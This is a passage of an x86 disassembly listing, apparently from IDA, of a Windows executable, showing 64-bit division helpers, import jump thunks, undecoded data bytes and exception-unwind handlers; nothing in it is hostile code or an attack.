loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: ___:00437BD8j
					; sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 0E9907780h, 7780733Ch, 187E990h, 0E9907781h,	77809196h
		dd 9515E990h, 0E9907780h, 77809888h, 96AAE990h,	0E9907780h
		dd 77809A43h, 80FEE3E9h, 0E990EB77h, 77809E6Eh,	71ECE990h
		dd 0E9907780h, 77809103h, 43ADE990h, 0E990777Fh, 777E4845h
		dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h, 0E990777Eh
		dd 77807BFDh, 9B30E990h, 9CE97780h, 0C778026h, 25C1E990h
		dd 0C8E97780h, 74778113h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		nop
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 777FF01Ch, 8E53E990h, 4C7780h, 31A36CDEh, 89DAFD86h
		dd 0FC4E98B9h, 2362517Bh, 0AC1E37D9h, 0AAFF8A4Ah, 7E5D08C6h
		dd 56536B1Dh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h
		dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h,	0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h
		dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22E8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2449AE3h
		dd 0A050E850h, 4589FFFCh, 0E3E85098h, 9077801Fh, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0DFE88875h, 9077801Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 0AEh, 90h, 0E9h
dword_437EC4	dd 777FCF89h, 801FCDE9h, 0E9906277h, 777FAEDAh,	7011E990h
		dd 0E990777Eh, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 7EE9C359h, 7B778157h, 0C3C3C033h, 72A2E990h,	0E990777Eh
		dd 777E72D3h, 7FD46FE9h, 0E9908077h, 777FDD80h,	816F16E9h
		dd 4CE9A677h, 7175C684h, 8529E990h, 0E99075C6h,	75C5A102h
		dd 0C57554E9h, 0F9E93975h, 3275C684h, 0C4A02AE9h, 0E990A675h
		dd 75C53908h, 0F765E990h, 0E99075C5h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23B8C54h, 8D41E990h,	0E990023Bh, 23C8098h, 8644E990h
		dd 0E990023Ch, 23D808Ch, 911EE990h, 81E9023Dh, 0FA023E80h
		dd 807AE990h, 0E990023Fh, 23F9799h, 98D0E990h, 0E990023Fh
		dd 23F9C3Ch, 408063E9h,	0E9904E02h, 2408188h, 88D7E990h
		dd 0E9900240h, 2418050h, 83A3E990h, 45E90241h, 7E024280h
		dd 8449E990h, 78E90242h, 0A1024287h, 8032E990h,	0E9900243h
		dd 244802Ch, 903FE990h,	0E9900244h, 244998Fh, 801AE990h
		dd 0E9900245h, 2458733h, 458C3FE9h, 0E990DE02h,	2468008h
		dd 468419E9h, 0E9903C02h, 23B891Ch, 7FF6E990h, 0E990023Bh
		dd 23A7FF0h, 398803E9h,	0E9902D02h, 2397FE4h, 7FDEE990h
		dd 0B3E90238h, 0E02378Ch, 88ADE990h, 0E9900237h, 23785B7h
		dd 7FC6E990h, 0E9900237h, 2368BBBh, 2D7FBBE9h, 99E92D02h
		dd 6F02368Bh, 8B24E990h, 96E90236h, 0A67C4C90h,	4C8FA8E9h
		dd 0FDE95D7Ch, 58023688h, 87EEE990h, 0E9900236h, 2367F90h
		dd 357F8BE9h, 0E9904E02h, 2348990h, 3488E7E9h, 0E9902502h
		dd 234875Dh, 861CE990h,	0E9900234h, 23483F8h, 34820BE9h
		dd 0E9904102h, 2347F60h, 8B2EE990h, 0E9900233h,	2338944h
		dd 853BE990h, 0E9900233h, 23384DEh, 7F42E990h, 0E9900233h
		dd 2328B08h, 328740E9h,	0E990A102h, 2328570h, 81F0E990h
		dd 25E90232h, 0E602327Fh, 8A1BE990h, 0E1E90231h, 9F023185h
		dd 853AE990h, 0E9900231h, 2317F0Ch, 8CC9E990h, 0E9900230h
		dd 2308A7Ah, 8726E990h,	0E9900230h, 2307FDEh, 7EEEE990h
		dd 55E90230h, 76022F8Ch, 88BCE990h, 0E990022Fh,	22F8657h
		dd 2F7ED7E9h, 0E9905802h, 22E7ED0h, 0E678E990h,	0E990001Bh
		dd 2468B3Ch, 8F4CE990h,	0E9900251h, 24D7EB8h, 7EB2E990h
		dd 0E9900251h, 250807Ch, 7EA6E990h, 0E9900250h,	24F7EA0h
		dd 81F6E990h, 95E9024Eh, 0E3024E7Eh, 8A7AE990h,	0E990024Dh
		dd 24D8681h, 850DE990h,	0E990024Dh, 24D82C1h, 7E76E990h
		dd 0FCE90247h, 0E6024C89h, 4C8687E9h, 0E9909702h, 24C8208h
		dd 4C7E5FE9h, 0E990FF02h, 24B7E58h, 7E52E990h, 0E990024Ah
		dd 2499A8Eh, 96ECE990h,	0E9900249h, 24993EDh, 918AE990h
		dd 0E9900249h, 2497E34h, 7E2EE990h, 39E90248h, 0A67C608Fh
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		nop
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 8Fh, 62h
		db 68h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_4381F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_4381F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		jmp	near ptr 71AB9639h
sub_4381FC	endp

; ---------------------------------------------------------------------------
		cmpsb

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 3Ch,	90h, 0E9h
		dd 7167A9ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		dw 47E9h
		dd 137167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		jmp	near ptr 71AB951Eh
sub_438220	endp

; ---------------------------------------------------------------------------
		db 7Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438226	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_438226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		dw 0E5E9h
; ---------------------------------------------------------------------------
		shl	dword ptr [edi+71h], 25h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 11h
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		dd 67A953E9h, 9CE94E71h, 5A7167AAh, 67A9F0E9h
; ---------------------------------------------------------------------------
		jno	short near ptr byte_4382E1

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43827A	proc near
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 80h
		db 90h
		db 0E9h, 0E3h, 4
		dd 0FEE97168h, 7B7167C1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_43828C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438298	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_438298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		nop
		jmp	near ptr 71B2517Fh
sub_4382AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp

; ---------------------------------------------------------------------------
		db 0C0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		dd 80DF81E9h, 0E990DE77h, 7780DE51h, 0DE96E990h, 0E9907780h
		dd 7780E040h
		db 0CCh
byte_4382E1	db 0B0Fh dup(0CCh)	; CODE XREF: ___:00438278j
; ---------------------------------------------------------------------------


loc_438DF0:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-468h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-438h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-450h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-420h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-46Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_438E35
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438E35:				; CODE XREF: ___:00438E27j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


